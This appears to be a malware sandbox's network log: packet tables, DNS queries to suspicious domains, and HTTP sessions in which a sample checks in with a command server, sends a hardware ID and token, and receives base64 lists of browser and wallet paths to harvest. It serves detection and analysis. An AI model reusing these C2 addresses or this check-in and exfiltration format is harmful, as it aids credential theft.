Dec 18, 2024 15:22:15.429907084 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.430013895 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.430038929 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.430068016 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.430953979 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.431009054 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:15.431046009 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:15.431086063 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:17.211175919 CET	49919	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:17.211278915 CET	443	49919	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:17.211410999 CET	49919	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:17.212663889 CET	49919	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:17.212702990 CET	443	49919	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:17.749099016 CET	49906	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:17.749511957 CET	49920	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:17.869399071 CET	80	49920	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:17.869425058 CET	80	49906	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:17.869534016 CET	49920	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:17.869584084 CET	49906	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:17.874465942 CET	49920	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:17.994090080 CET	80	49920	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:18.445018053 CET	443	49919	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:18.445122957 CET	49919	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:18.447084904 CET	49919	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:18.447098017 CET	443	49919	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:18.447523117 CET	443	49919	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:18.500006914 CET	49919	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:18.501241922 CET	49919	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:18.501290083 CET	49919	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:18.501398087 CET	443	49919	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:19.266885042 CET	80	49920	185.215.113.43	192.168.2.5
Dec 18, 2024 15:22:19.267093897 CET	49920	80	192.168.2.5	185.215.113.43
Dec 18, 2024 15:22:19.269965887 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:19.270318985 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:19.391171932 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:19.391310930 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:19.391419888 CET	80	49910	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:19.391490936 CET	49910	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:19.391845942 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:19.483068943 CET	443	49919	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:19.483165026 CET	443	49919	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:19.483409882 CET	49919	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:19.512561083 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:19.684021950 CET	49919	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:19.684070110 CET	443	49919	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:19.696554899 CET	49922	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:19.696604967 CET	443	49922	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:19.696768999 CET	49922	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:19.697843075 CET	49922	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:19.697860956 CET	443	49922	104.21.12.88	192.168.2.5
Dec 18, 2024 15:22:20.717592001 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.717606068 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.717617989 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.717710018 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.717721939 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.717789888 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.717802048 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.717891932 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.717891932 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.717891932 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.717936993 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.717947960 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.717959881 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.717983007 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.718002081 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.781722069 CET	49922	443	192.168.2.5	104.21.12.88
Dec 18, 2024 15:22:20.837826014 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.837841988 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.837922096 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.843358994 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.843854904 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.909652948 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.909667015 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.909725904 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.914177895 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.914191961 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.914242983 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.922379017 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.924417019 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.925261021 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.926378965 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.926914930 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.926983118 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.933878899 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.933891058 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.933944941 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.941991091 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.943057060 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.943173885 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.950908899 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.950922012 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.951014996 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.958869934 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.958883047 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.958957911 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.967381001 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.967737913 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.967787027 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.967808008 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.975806952 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.975820065 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.975887060 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.984039068 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.984070063 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.984154940 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.992470026 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.992547035 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:20.992626905 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:20.992688894 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:21.030405998 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.031382084 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:21.101928949 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.101943970 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.102185965 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:21.104283094 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.104360104 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:21.104595900 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.104641914 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:21.108036041 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.108051062 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.108088017 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:21.108105898 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:21.112828970 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.112890005 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:21.113365889 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.113413095 CET	49921	80	192.168.2.5	31.41.244.11
Dec 18, 2024 15:22:21.117674112 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.117686033 CET	80	49921	31.41.244.11	192.168.2.5
Dec 18, 2024 15:22:21.117777109 CET	49921	80	192.168.2.5	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 15:20:49.262681007 CET	192.168.2.5	1.1.1.1	0xa258	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:20:49.262834072 CET	192.168.2.5	1.1.1.1	0x5c94	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 18, 2024 15:20:56.075081110 CET	192.168.2.5	1.1.1.1	0xdae4	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:20:56.075328112 CET	192.168.2.5	1.1.1.1	0xa3e8	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 18, 2024 15:22:16.837070942 CET	192.168.2.5	1.1.1.1	0xb96	Standard query (0)	lossekniyyt.click	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:34.762320042 CET	192.168.2.5	1.1.1.1	0xda1	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:34.982398987 CET	192.168.2.5	1.1.1.1	0x9dd8	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 15:20:49.399220943 CET	1.1.1.1	192.168.2.5	0xa258	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:20:49.399471045 CET	1.1.1.1	192.168.2.5	0x5c94	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 18, 2024 15:20:56.211949110 CET	1.1.1.1	192.168.2.5	0xdae4	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:20:56.211949110 CET	1.1.1.1	192.168.2.5	0xdae4	No error (0)	plus.l.google.com		142.250.181.46	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:20:56.212376118 CET	1.1.1.1	192.168.2.5	0xa3e8	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 15:22:17.129374981 CET	1.1.1.1	192.168.2.5	0xb96	No error (0)	lossekniyyt.click		104.21.12.88	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:17.129374981 CET	1.1.1.1	192.168.2.5	0xb96	No error (0)	lossekniyyt.click		172.67.131.246	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:34.979243040 CET	1.1.1.1	192.168.2.5	0xda1	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:35.566252947 CET	1.1.1.1	192.168.2.5	0x9dd8	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 18, 2024 15:22:35.566252947 CET	1.1.1.1	192.168.2.5	0x9dd8	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.206	80	6800	C:\Users\user\Desktop\random.exe.7.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 15:20:39.925221920 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 18, 2024 15:20:41.258204937 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:20:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 18, 2024 15:20:41.266444921 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIDGCGCBFBAKFHIJDBA Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 35 38 39 30 42 32 38 37 44 36 37 39 34 33 34 30 30 30 36 33 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 44 47 43 47 43 42 46 42 41 4b 46 48 49 4a 44 42 41 2d 2d 0d 0a Data Ascii: ------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="hwid"05890B287D67943400063------HIIDGCGCBFBAKFHIJDBAContent-Disposition: form-data; name="build"stok------HIIDGCGCBFBAKFHIJDBA--
Dec 18, 2024 15:20:42.057471991 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:20:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 5a 6a 45 34 59 6a 46 6b 59 57 52 6b 4e 54 55 35 4d 54 49 32 4d 6a 56 68 5a 54 4e 68 4e 47 49 77 4e 44 67 30 59 54 49 78 4e 54 55 30 4e 54 51 30 5a 54 49 79 5a 54 41 33 59 6a 55 77 4f 44 63 79 4e 32 59 77 4e 32 51 77 4e 32 4d 34 4e 32 49 34 4d 6d 51 34 4d 54 49 77 4e 32 49 35 5a 44 5a 6c 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: ZjE4YjFkYWRkNTU5MTI2MjVhZTNhNGIwNDg0YTIxNTU0NTQ0ZTIyZTA3YjUwODcyN2YwN2QwN2M4N2I4MmQ4MTIwN2I5ZDZlfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Dec 18, 2024 15:20:42.059218884 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="message"browsers------CFIECBFIDGDAKFHIEHJK--
Dec 18, 2024 15:20:42.498596907 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:20:42 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Dec 18, 2024 15:20:42.498621941 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Dec 18, 2024 15:20:42.717674017 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Dec 18, 2024 15:20:42.719429970 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 31 38 62 31 64 61 64 64 35 35 39 31 32 36 32 35 61 65 33 61 34 62 30 34 38 34 61 32 31 35 35 34 35 34 34 65 32 32 65 30 37 62 35 30 38 37 32 37 66 30 37 64 30 37 63 38 37 62 38 32 64 38 31 32 30 37 62 39 64 36 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 41 2d 2d 0d 0a Data Ascii: ------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="token"f18b1dadd55912625ae3a4b0484a21554544e22e07b508727f07d07c87b82d81207b9d6e------EBKEHJJDAAAAKECBGHDAContent-Disposition: form-data; name="message"plugins------EBKEHJJDAAAAKECBGHDA--
Dec 18, 2024 15:20:43.160108089 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:20:42 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: 